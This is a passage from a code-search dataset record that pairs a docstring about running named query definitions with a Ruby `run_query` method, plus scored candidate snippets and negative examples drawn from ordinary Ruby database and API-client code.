"def query=(query)\n if query.nil?\n fail ArgumentError, 'invalid value for \"query\", query cannot be nil.'\n end\n @query = query\n end",
"def query=(query)\n if query.nil?\n fail ArgumentError, 'invalid value for \"query\", query cannot be nil.'\n end\n @query = query\n end",
"def add_select_into_table(new_table_name, sql_query)\n \"CREATE TABLE #{new_table_name} \" + sql_query\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_query_type\n @query_type = QueryType.find(params[:id])\n end",
"def launch_query_command(query:)\n @db.query(query, as: :hash)\n end",
"def set_sql_query\n @sql_query = SqlQuery.find(params[:id])\n end",
"def process_query(query)\n # Nothing in default\n end",
"def add_select_into_table(new_table_name, sql_query)\n \"CREATE TABLE #{new_table_name} \" + sql_query\n end",
"def make_query(query)\n puppetdb_client = Puppet.lookup(:bolt_pdb_client)\n # Bolt executor not expected when invoked from apply block\n executor = Puppet.lookup(:bolt_executor) { nil }\n executor&.report_function_call(self.class.name)\n\n puppetdb_client.make_query(query)\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def update_sql(sql, name = nil)\n result = super\n result.length == 0 ? 0 : result.rows[0][0]\n end",
"def exec_update(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def preprocess_query(query, *binds)\n mutex.synchronize do\n self.last_query = query\n end\n\n ep = Epoxy.new(query)\n ep.quote { |x| %Q{'#{binds[x].to_s.gsub(/'/, \"''\")}'} }\n end",
"def replace_variables_in_query_string\n # if @queries_as_string.empty?\n # Display.write_your_own_query\n # else\n # binding.pry\n # MOCKED DATA IF NECESSARY\n # @queries_as_string = [\"MerchantTransaction.find(10553628)\",\n # \"MerchantTransaction.find_by(reference: '1055-3628', kind: 'PLACE_BATCH')\",\n # \"MerchantTransaction.find_by(reference: '1055-3628', kind: 'PLACE_BATCH')\",\n # \"MerchantTransaction.where(parent_ref: '1055-3627', kind: 'BATCH_BET')\",\n # ]\n @queries_as_string.each_with_index do | query, index |\n mocked_query = Display.query(query)\n @mocked_queries_as_string << mocked_query ? mocked_query : query\n end\n Readline.pre_input_hook = nil\n evaluate_queries_as_lambdas\n # end\n end",
"def related(query)\n @query[:Query] << query\n self\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def delete_sql(sql, name = nil)\n update_sql(sql, name)\n end",
"def exec_update(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def update!(**args)\n @raw_text_from_query = args[:raw_text_from_query] if args.key?(:raw_text_from_query)\n @type = args[:type] if args.key?(:type)\n @user_defined_name = args[:user_defined_name] if args.key?(:user_defined_name)\n end",
"def update!(**args)\n @raw_text_from_query = args[:raw_text_from_query] if args.key?(:raw_text_from_query)\n @type = args[:type] if args.key?(:type)\n @user_defined_name = args[:user_defined_name] if args.key?(:user_defined_name)\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def add_select_into_table(new_table_name, sql_query)\n sql_query.sub(/FROM/i, \"INTO #{new_table_name} FROM\")\n end",
"def add_select_into_table(new_table_name, sql_query)\r\n sql_query.sub(/FROM/i, \"INTO #{new_table_name} FROM\")\r\n end"
] |
[
"0.69555974",
"0.68629533",
"0.6301826",
"0.62108475",
"0.62038124",
"0.5967362",
"0.5720692",
"0.563147",
"0.5602558",
"0.55344576",
"0.55094355",
"0.54948694",
"0.54041487",
"0.53844845",
"0.5370923",
"0.53674084",
"0.53502744",
"0.53463554",
"0.5309969",
"0.5217485",
"0.51728326",
"0.51417464",
"0.51175195",
"0.5089583",
"0.50781673",
"0.50494885",
"0.50307196",
"0.50305855",
"0.50071526",
"0.49829888",
"0.4974928",
"0.49651644",
"0.49615416",
"0.49615416",
"0.49615416",
"0.49615416",
"0.49615416",
"0.49615416",
"0.4939548",
"0.49308524",
"0.49225795",
"0.49225795",
"0.49225795",
"0.49187008",
"0.49155802",
"0.4906212",
"0.49019322",
"0.48877525",
"0.48821265",
"0.48780784",
"0.48780784",
"0.48780784",
"0.48780784",
"0.48780784",
"0.48604405",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.485856",
"0.4855446",
"0.485353",
"0.48440596",
"0.4838474",
"0.4831473",
"0.4831473",
"0.47947857",
"0.47902116",
"0.47902116",
"0.47902116",
"0.4788541",
"0.47869435",
"0.47802305",
"0.47707948",
"0.4763447",
"0.475155",
"0.47500324",
"0.4742146",
"0.47351995",
"0.47344205",
"0.4725438",
"0.47242153",
"0.47154826",
"0.47104427",
"0.47082806",
"0.47056577",
"0.4695952",
"0.4695952",
"0.46938103",
"0.4687588",
"0.46819842"
] |
0.62439895
|
3
|
Queries using query definition identified by queryName. Maps the result to concrete objects based on provided mapper.
|
def run_query(query_name, mapper, opts = {})
data, _status_code, _headers = run_query_with_http_info(query_name, mapper, opts)
return data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_query_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Object>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def run_query_filtered(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_with_http_info(query_name, mapper, opts)\n return data\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def run_query_filtered_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/filtered-data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query(name = nil, &block)\n Query.new(name, &block)\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def query_view(view_name, map_function, reduce_function, options)\n search_values = search_values(options)\n begin\n do_query_view(view_name, search_values)\n rescue DocumentNotFound\n create_view(view_name, map_function, reduce_function)\n do_query_view(view_name, search_values)\n end\n end",
"def map name\n @mapper[name]\n end",
"def query(query)\n case query\n when RangeQuery\n get(\"query_range\", query.to_h)\n when SnapshotQuery\n get(\"query\", query.to_h)\n else\n raise RuntimeError, \"Unknown query type\" # The type system should catch this when we use it.\n end\n end",
"def map # :nologin: :norobots:\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n @query = create_query(:Observation, :of_name, :name => @name)\n @observations = @query.results.select {|o| o.lat or o.location}\n end\n end",
"def base_query_for(name)\n # Load issues\n query = mr_closing_issues_table.join(issue_table).on(issue_table[:id].eq(mr_closing_issues_table[:issue_id])).\n join(issue_metrics_table).on(issue_table[:id].eq(issue_metrics_table[:issue_id])).\n where(issue_table[:project_id].eq(@project.id)).\n where(issue_table[:deleted_at].eq(nil)).\n where(issue_table[:created_at].gteq(@from))\n\n query = query.where(build_table[:ref].eq(@branch)) if name == :test && @branch\n\n # Load merge_requests\n query = query.join(mr_table, Arel::Nodes::OuterJoin).\n on(mr_table[:id].eq(mr_closing_issues_table[:merge_request_id])).\n join(mr_metrics_table).\n on(mr_table[:id].eq(mr_metrics_table[:merge_request_id]))\n\n if DEPLOYMENT_METRIC_STAGES.include?(name)\n # Limit to merge requests that have been deployed to production after `@from`\n query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))\n end\n\n query\n end",
"def _query(q, params={})\n engine = Java::OrgNeo4jCypherJavacompat::ExecutionEngine.new(db)\n result = engine.execute(q, Core::HashWithIndifferentAccess.new(params))\n Neo4j::Cypher::ResultWrapper.new(result)\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end",
"def read(name)\n mappers[name]\n end",
"def read(name)\n mappers[name]\n end",
"def query(query_hash, options = {})\n\t \tget_records('-findquery', query_hash, options)\n\t end",
"def run_query_filtered_by_deployment_id(id, query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts)\n return data\n end",
"def query(query)\n result = queries([query])\n return result[query]\n end",
"def query(query_definition)\n return\n end",
"def query(sql, name = nil) #:nodoc:\n log(sql, name) do\n @connection.execute(sql).rows\n end\n end",
"def _query_map(object_type, hParams)\n return {} unless hParams\n\n object_type = object_type.to_sym if object_type.class == String\n\n result = {}\n maps = PrcLib.model.meta_obj.rh_get(object_type, :query_mapping)\n hParams.each do |key, value|\n key_path_obj = KeyPath.new(key)\n\n bold_action = ANSI.bold('ACTION REQUIRED')\n PrcLib.runtime_fail \"Forj query field '%s.%s' not defined by class\"\\\n \" '%s'.\\n#{bold_action}\"\\\n \":\\nMissing data model 'def_attribute' or \"\\\n \"'def_query_attribute' for '%s'??? \"\\\n \"Check the object '%s' data model.\",\n object_type, key_path_obj.key,\n self.class, key_path_obj.key,\n object_type unless maps.key?(key_path_obj.fpath)\n\n next if maps[key_path_obj.fpath].nil?\n\n map_path = KeyPath.new(maps[key_path_obj.fpath])\n _query_value_mapping(object_type, result, key_path_obj, map_path, value)\n end\n result\n end",
"def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end",
"def query\r\n query_name = @request.ole_methods.detect{|m| m.to_s =~ /Query\\Z/}\r\n return nil if query_name.nil?\r\n @request.send(query_name.to_s.to_sym)\r\n end",
"def query(sql, name = nil) #:nodoc:\n #log(sql, name) do\n #TODO: @async\n select_rows sql, name\n end",
"def get_query_response(query, cursor=nil)\n envelope = { :qname => {:query => query, :escape => false }}\n envelope[:qname][:cursor] = cursor if cursor\n \n response = http_request mqlread_service_url, :queries => envelope.to_json\n result = JSON.parse response\n inner = result['qname']\n handle_read_error(inner)\n Ken.logger.info \"<<< Received Response: #{inner['result'].inspect}\"\n inner\n end",
"def mqlread(query, options = {})\n Ken.logger.info \">>> Sending Query: #{query.to_json}\"\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end",
"def raw_query( view_name, opts={} )\n opts = Gnash.new( opts ) unless opts.empty?\n doc_class = opts[:document_class]\n\n params = []\n params << 'include_docs=true' unless (opts[:select] && opts[:select] != 'all' || opts[:reduce])\n\n\n # TODO: this is according to couchdb really inefficent with large sets of data.\n # A better way would involve, using start and end keys with limit. But this\n # is a really hard one to figure with jumping around to different pages\n params << \"skip=#{opts[:offset]}\" if opts[:offset]\n params << \"limit=#{opts[:limit]}\" if opts[:limit]\n params << \"key=#{opts[:equals]}\" if opts[:equals]\n if opts[:order].to_s == 'desc' || opts[:order].to_s == 'descending'\n desc = true\n params << \"descending=true\"\n end\n if opts[:range] && opts[:range].size == 2\n params << \"startkey=#{opts[:range][desc == true ? 1 : 0 ]}\"\n params << \"endkey=#{opts[:range][desc == true ? 0 : 1]}\"\n end\n\n query_uri = \"#{uri}/_view/#{CGI.escape(view_name.to_s)}?\"\n query_uri << params.join('&')\n\n result = CouchSpring.get( query_uri )\n ResultSet.new( result, doc_class )\n end",
"def execute\n # build the query string\n # run the query\n # return the results\n end",
"def get_query_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.get_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.get_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#get_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query_map(sCloudObj, hParams)\n return nil if not sCloudObj or not [String, Symbol].include?(sCloudObj.class)\n return {} if not hParams\n\n sCloudObj = sCloudObj.to_sym if sCloudObj.class == String\n\n hReturn = {}\n hMap = rhGet(@@meta_obj, sCloudObj, :query_mapping)\n hParams.each { |key, value|\n oKeyPath = KeyPath.new(key)\n sKeyPath = oKeyPath.sFullPath\n raise ForjError.new(), \"Forj query field '%s.%s' not defined by class '%s'\" % [sCloudObj, oKeyPath.sKey, self.class] if not hMap.key?(oKeyPath.sFullPath)\n oMapPath = KeyPath.new(hMap[oKeyPath.sFullPath])\n hValueMapping = rhGet(@@meta_obj, sCloudObj, :value_mapping, sKeyPath)\n if hValueMapping\n raise ForjError.new(), \"'%s.%s': No value mapping for '%s'\" % [sCloudObj, oKeyPath.sKey, value] if rhExist?(hValueMapping, value) != 1\n\n rhSet(hReturn, hValueMapping[value], oMapPath.aTree)\n else\n rhSet(hReturn, value, oMapPath.aTree)\n end\n }\n hReturn\n end",
"def query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.get({params: query_params })\n self\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def exec_query(sql, name = nil, binds = [])\n result = without_prepared_statement?(binds) ? exec_no_cache(sql, name, binds) :\n exec_cache(sql, name, binds)\n result_array = result_as_array(result)\n if ArVer::GTEQ_4\n column_types = compute_field_types(result)\n ret = ActiveRecord::Result.new(result.fields, result_array, column_types)\n else\n ret = ActiveRecord::Result.new(result.fields, result_array)\n end\n result.clear\n ret\n end",
"def map\n @person = Person.find(params[:id])\n map_q(@person, params)\n end",
"def method_missing(method_name, *args, &block)\n if Query.instance_methods(false).include?(method_name)\n Query.new(self).send(method_name, *args, &block)\n else\n super\n end\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def query(query)\n res = LibDrizzle.drizzle_query_str(@con_ptr, nil, query, @ret_ptr)\n check_return_code\n Result.new(res)\n end",
"def query_search(query, options={})\n run_query query, options\n end",
"def query_def; query.name; end",
"def RunQueries\n if @reqs.empty?\n @error = 'No queries defined, issue AddQuery() first'\n return false\n end\n\n req = @reqs.join('')\n nreqs = @reqs.length\n @reqs = []\n response = PerformRequest(:search, req, nreqs)\n \n # parse response\n begin\n results = []\n ires = 0\n while ires < nreqs\n ires += 1\n result = {}\n \n result['error'] = ''\n result['warning'] = ''\n \n # extract status\n status = result['status'] = response.get_int\n if status != SEARCHD_OK\n message = response.get_string\n if status == SEARCHD_WARNING\n result['warning'] = message\n else\n result['error'] = message\n results << result\n next\n end\n end\n \n # read schema\n fields = []\n attrs = {}\n attrs_names_in_order = []\n \n nfields = response.get_int\n while nfields > 0\n nfields -= 1\n fields << response.get_string\n end\n result['fields'] = fields\n \n nattrs = response.get_int\n while nattrs > 0\n nattrs -= 1\n attr = response.get_string\n type = response.get_int\n attrs[attr] = type\n attrs_names_in_order << attr\n end\n result['attrs'] = attrs\n \n # read match count\n count = response.get_int\n id64 = response.get_int\n \n # read matches\n result['matches'] = []\n while count > 0\n count -= 1\n \n if id64 != 0\n doc = response.get_int64\n weight = response.get_int\n else\n doc, weight = response.get_ints(2)\n end\n \n r = {} # This is a single result put in the result['matches'] array\n r['id'] = doc\n r['weight'] = weight\n attrs_names_in_order.each do |a|\n r['attrs'] ||= {}\n \n case attrs[a]\n when SPH_ATTR_BIGINT\n # handle 64-bit ints\n r['attrs'][a] = response.get_int64\n when SPH_ATTR_FLOAT\n # handle floats\n r['attrs'][a] = response.get_float\n\t\t\t\twhen SPH_ATTR_STRING\n\t\t\t\t # handle string\n\t\t\t\t r['attrs'][a] = response.get_string\n else\n # handle everything else as unsigned ints\n val = response.get_int\n if attrs[a]==SPH_ATTR_MULTI\n r['attrs'][a] = []\n 1.upto(val) do\n r['attrs'][a] << response.get_int\n end\n elsif attrs[a]==SPH_ATTR_MULTI64\n r['attrs'][a] = []\n\t\t\t\t\tval = val/2\n 1.upto(val) do\n r['attrs'][a] << response.get_int64\n end\n else\n r['attrs'][a] = val\n end\n end\n end\n result['matches'] << r\n end\n result['total'], result['total_found'], msecs, words = response.get_ints(4)\n result['time'] = '%.3f' % (msecs / 1000.0)\n \n result['words'] = {}\n while words > 0\n words -= 1\n word = response.get_string\n docs, hits = response.get_ints(2)\n result['words'][word] = { 'docs' => docs, 'hits' => hits }\n end\n \n results << result\n end\n #rescue EOFError\n # @error = 'incomplete reply'\n # raise SphinxResponseError, @error\n end\n \n return results\n end",
"def query1\n @cquery = \"\"\n @tquery = \"\"\n if params[:condition_query].present?\n @cquery = params[:condition_query]\n responses = AlternateName.search(@cquery).records\n @conditions = []\n responses.each do |response|\n response.medical_conditions.each do |condition|\n @conditions << condition\n end\n end\n else\n @conditions = MedicalCondition.all\n end\n if params[:therapy_query].present?\n @tquery = params[:therapy_query]\n @therapies = MedicalTherapy.search(@tquery).records\n else\n @therapies = []\n end\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def perform\n qe = QueryExecutor.new(map, reduce,functions, query_id.to_s, filter)\n results = qe.execute\n result = Result.new results\n result.query = Query.find(query_id)\n result.save!\n end",
"def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end",
"def data_by_query(query_params)\n post_request( \"/api/v2_1/api/persons/search\",\n Formatter::RequestFormatter.format_person_search_query_data(query_params))\n end",
"def query(query, params={})\n query_url = \"#{API_URL}/query.json?#{query}\"\n perform_get_request(query_url, params)\n end",
"def query( query_string )\n\n # Perform the query\n Operations::Query.new(@rforce_binding, query_string).run()\n\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = NameSearchResultSet.new(resp)\n return results\n end",
"def request(query_description)\n raise MissingSqlQueryError if query_description[:raw_query].nil?\n\n request = {\n body: URI.encode_www_form('from': DateTime.strptime(query_description[:from], '%Q').strftime('%H:%M_%Y%m%d'),\n 'until': DateTime.strptime(query_description[:to], '%Q').strftime('%H:%M_%Y%m%d'),\n 'format': 'json',\n 'target': replace_variables(query_description[:raw_query], query_description[:variables])),\n content_type: 'application/x-www-form-urlencoded',\n request: Net::HTTP::Post\n }\n\n webrequest = query_description[:prepared_request]\n webrequest.relative_url = \"/api/datasources/proxy/#{id}/render\"\n webrequest.options.merge!(request)\n\n result = webrequest.execute(query_description[:timeout])\n preformat_response(result.body)\n end",
"def run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered_by_deployment_id ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/containers/{id}/query/{queryName}/filtered-data\".sub('{' + 'id' + '}', id.to_s).sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered_by_deployment_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def results_for_query(query)\n raise ArgumentError unless query.is_a?(Query)\n @results[query] ? @results[query] : []\n end",
"def mqlread_with_cursor(query, cursor, options={})\n params = { :query => query.to_json, :lang => \"/lang/#{@query_options[:lang]}\", :limit => @query_options[:limit], :cursor => cursor }.merge(options)\n response = get(surl('mqlread'), params, format: :json)\n {result: response['result'], cursor: response['cursor']}\n end",
"def perform_query(gql, period, query)\n behavior = query.behavior\n\n return behavior.fallback_value unless behavior.period_supported?(period)\n\n value = gql.public_send(:\"query_#{ period }\", query)\n\n # Rails 4.1 JSON encodes BigDecimal as a string. This is not part of\n # the ETEngine APIv3 spec.\n value = value.to_f if value.is_a?(BigDecimal)\n\n behavior.process_result(nan?(value) ? 0.0 : value)\n rescue Exception => exception\n # TODO Exception is *way* too low level to be rescued; we could do\n # with a GraphError exception for \"acceptable\" graph errors.\n @errors.push(\"#{ query.key }/#{ period } - #{ exception.message } | \" \\\n \"#{ exception.backtrace.join(\"\\n\") }\")\n nil\n end",
"def query\n @operation = :query\n self\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def mqlread(query, options = {})\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
